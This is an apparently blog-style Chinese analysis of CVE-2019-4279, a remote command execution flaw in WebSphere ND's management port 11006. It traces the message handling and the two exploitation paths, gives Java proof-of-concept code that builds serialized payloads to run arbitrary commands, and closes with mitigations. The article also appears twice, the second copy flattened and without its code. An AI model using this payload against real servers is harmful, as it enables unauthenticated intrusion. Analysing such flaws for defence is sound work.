Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279)
字数 1866 2025-08-26 22:11:14

WebSphere ND远程命令执行漏洞分析及利用(CVE-2019-4279)

漏洞概述

WebSphere Application Server ND(Network Deployment)版本在集群管理节点的"管理覆盖层TCP端口"11006存在远程命令执行漏洞。攻击者可以通过向该端口发送特制的序列化数据,在不需要身份验证的情况下实现远程代码执行。

受影响版本

  • WebSphere Application Server ND 9.0
  • WebSphere Application Server ND 8.5
  • WebSphere Virtual Enterprise V7.0

漏洞原理

WebSphere ND在创建管理节点概要文件时会开放两个管理端口:

  • 11005 (UDP)
  • 11006 (TCP)

11006端口接收序列化数据进行处理,但未对输入数据进行身份验证和充分的安全检查,导致攻击者可以通过构造恶意序列化对象实现远程命令执行。

漏洞分析

数据流处理流程

  1. 数据接收与解析

    • 类:com.ibm.son.mesh.CfwTCPImpl
    • 核心方法:completedRead(VirtualConnection var1, TCPReadRequestContext var2)

    处理流程:

    • 读取数据流
    • 解析头部(前8字节):
      • 前4字节为魔术字校验(必须等于963622730)
      • 后4字节为消息长度
    • 根据消息长度读取完整消息
    • 反序列化消息对象
  2. 消息处理流程

    • 类:com.ibm.son.mesh.AbstractTCPImpl
    • 方法:procReceivedMessage(byte[] var1, int var2, int var3)

    处理流程:

    • 对消息进行反序列化
    • 调用procMessage处理消息
    • 如果返回结果不为null,则广播到各个节点

关键处理器

  1. TcpMsgTypeBasedDispatcher

    • 根据消息类型分发到不同的处理器
    • 关键处理器包括:
      • MemberMgr (处理type=12的消息)
      • RpcServerDispatcher.ProcRunTaskOnAllNodes (处理type=41的消息)
      • RpcServerDispatcher (处理type=38的消息)
  2. MemberMgr处理器

    • 处理TcpNodeMessage消息
    • 关键操作:
      • 初始化节点
      • 设置nextMsgProcessor属性
      • 发送type=66的消息进行确认
  3. RpcServerDispatcher处理器

    • 处理BcastMsgRunTask消息(type=41)和RpcInvokeMessage消息(type=38)
    • 关键操作:
      • 调用invoke方法执行任务
      • 通过反射加载并执行指定类

漏洞利用路径

方法一:两步利用法

  1. 第一步:发送TcpNodeMessage

    • 构造TcpNodeMessage对象(type=12)
    • 目的:注册节点并设置nextMsgProcessor
    • 需要等待几秒让服务器处理后续消息
  2. 第二步:发送BcastMsgRunTask

    • 构造BcastMsgRunTask对象(type=41)
    • 指定要执行的恶意类和方法
    • 触发远程代码执行

方法二:单步利用法

  1. 发送RpcInvokeMessage
    • 构造RpcInvokeMessage对象(type=38)
    • 直接指定要执行的恶意类和方法
    • 无需等待,直接触发远程代码执行

漏洞利用

利用类分析

关键利用类:com.ibm.son.plugin.UploadFileToAllNodes

  • 该类可以通过run方法执行系统命令
  • 构造参数:
    • 文件名:.0osf1.tmp
    • 文件内容:任意字节
    • 命令:要执行的系统命令

POC构造

Java版POC示例

// 构造TcpNodeMessage
public byte[] getTcpNodeMessageObj() throws Exception {
    TcpNodeMessage nodeMsg = new TcpNodeMessage();
    nodeMsg.type = 12;
    nodeMsg.ip = "0.0.0.0";
    nodeMsg.udpPort = 11005;
    nodeMsg.tcpPort = 11006;
    nodeMsg.bootTime = System.currentTimeMillis();
    return Serializer.serialize(nodeMsg);
}

// 构造BcastMsgRunTask
public byte[] getBcastMsgRunTaskObj(String command) throws Exception {
    UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, command);
    Object obj = new BcastMsgRunTask(41, "0.0.0.0", 11005, 1L, "com.ibm.son.plugin.UploadFileToAllNodes", arg);
    return Serializer.serialize(obj);
}

// 构造RpcInvokeMessage (单步利用)
public byte[] getRpcInvokeMessageObj(String op, String command) throws Exception {
    UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, String.format("%s %s && ", op, command));
    Object obj = new RpcInvokeMessage(38, "com.ibm.son.plugin.UploadFileToAllNodes", arg);
    return Serializer.serialize(obj);
}

利用流程

  1. 与目标服务器建立TCP连接(端口11006)
  2. 发送恶意序列化对象:
    • 两步利用法:
      • 先发送TcpNodeMessage
      • 等待几秒后发送BcastMsgRunTask
    • 单步利用法:
      • 直接发送RpcInvokeMessage
  3. 服务器反序列化并执行指定命令

防御措施

  1. 升级到最新版本并应用安全补丁
  2. 限制对11006端口的访问(仅允许可信IP)
  3. 启用WebSphere的安全配置,限制反序列化操作
  4. 监控异常的网络连接和进程创建行为

参考链接

  • https://www.exploit-db.com/exploits/46969
  • IBM官方安全公告
WebSphere ND远程命令执行漏洞分析及利用(CVE-2019-4279) 漏洞概述 WebSphere Application Server ND(Network Deployment)版本在集群管理节点的"管理覆盖层TCP端口"11006存在远程命令执行漏洞。攻击者可以通过向该端口发送特制的序列化数据,在不需要身份验证的情况下实现远程代码执行。 受影响版本 WebSphere Application Server ND 9.0 WebSphere Application Server ND 8.5 WebSphere Virtual Enterprise V7.0 漏洞原理 WebSphere ND在创建管理节点概要文件时会开放两个管理端口: 11005 (UDP) 11006 (TCP) 11006端口接收序列化数据进行处理,但未对输入数据进行身份验证和充分的安全检查,导致攻击者可以通过构造恶意序列化对象实现远程命令执行。 漏洞分析 数据流处理流程 数据接收与解析 类: com.ibm.son.mesh.CfwTCPImpl 核心方法: completedRead(VirtualConnection var1, TCPReadRequestContext var2) 处理流程: 读取数据流 解析头部(前8字节): 前4字节为魔术字校验(必须等于963622730) 后4字节为消息长度 根据消息长度读取完整消息 反序列化消息对象 消息处理流程 类: com.ibm.son.mesh.AbstractTCPImpl 方法: procReceivedMessage(byte[] var1, int var2, int var3) 处理流程: 对消息进行反序列化 调用 procMessage 处理消息 如果返回结果不为null,则广播到各个节点 关键处理器 TcpMsgTypeBasedDispatcher 根据消息类型分发到不同的处理器 关键处理器包括: MemberMgr (处理type=12的消息) RpcServerDispatcher.ProcRunTaskOnAllNodes (处理type=41的消息) RpcServerDispatcher (处理type=38的消息) MemberMgr处理器 处理 TcpNodeMessage 消息 关键操作: 初始化节点 设置 nextMsgProcessor 属性 发送type=66的消息进行确认 RpcServerDispatcher处理器 处理 BcastMsgRunTask 消息(type=41)和 RpcInvokeMessage 消息(type=38) 关键操作: 调用 invoke 方法执行任务 通过反射加载并执行指定类 漏洞利用路径 方法一:两步利用法 第一步:发送TcpNodeMessage 构造 TcpNodeMessage 对象(type=12) 目的:注册节点并设置 nextMsgProcessor 需要等待几秒让服务器处理后续消息 第二步:发送BcastMsgRunTask 构造 BcastMsgRunTask 对象(type=41) 指定要执行的恶意类和方法 触发远程代码执行 方法二:单步利用法 发送RpcInvokeMessage 构造 RpcInvokeMessage 对象(type=38) 直接指定要执行的恶意类和方法 无需等待,直接触发远程代码执行 漏洞利用 利用类分析 关键利用类: com.ibm.son.plugin.UploadFileToAllNodes 该类可以通过 run 方法执行系统命令 构造参数: 文件名: .0osf1.tmp 文件内容:任意字节 命令:要执行的系统命令 POC构造 Java版POC示例 利用流程 与目标服务器建立TCP连接(端口11006) 发送恶意序列化对象: 两步利用法: 先发送 TcpNodeMessage 等待几秒后发送 BcastMsgRunTask 单步利用法: 直接发送 RpcInvokeMessage 服务器反序列化并执行指定命令 防御措施 升级到最新版本并应用安全补丁 限制对11006端口的访问(仅允许可信IP) 启用WebSphere的安全配置,限制反序列化操作 监控异常的网络连接和进程创建行为 参考链接 https://www.exploit-db.com/exploits/46969 IBM官方安全公告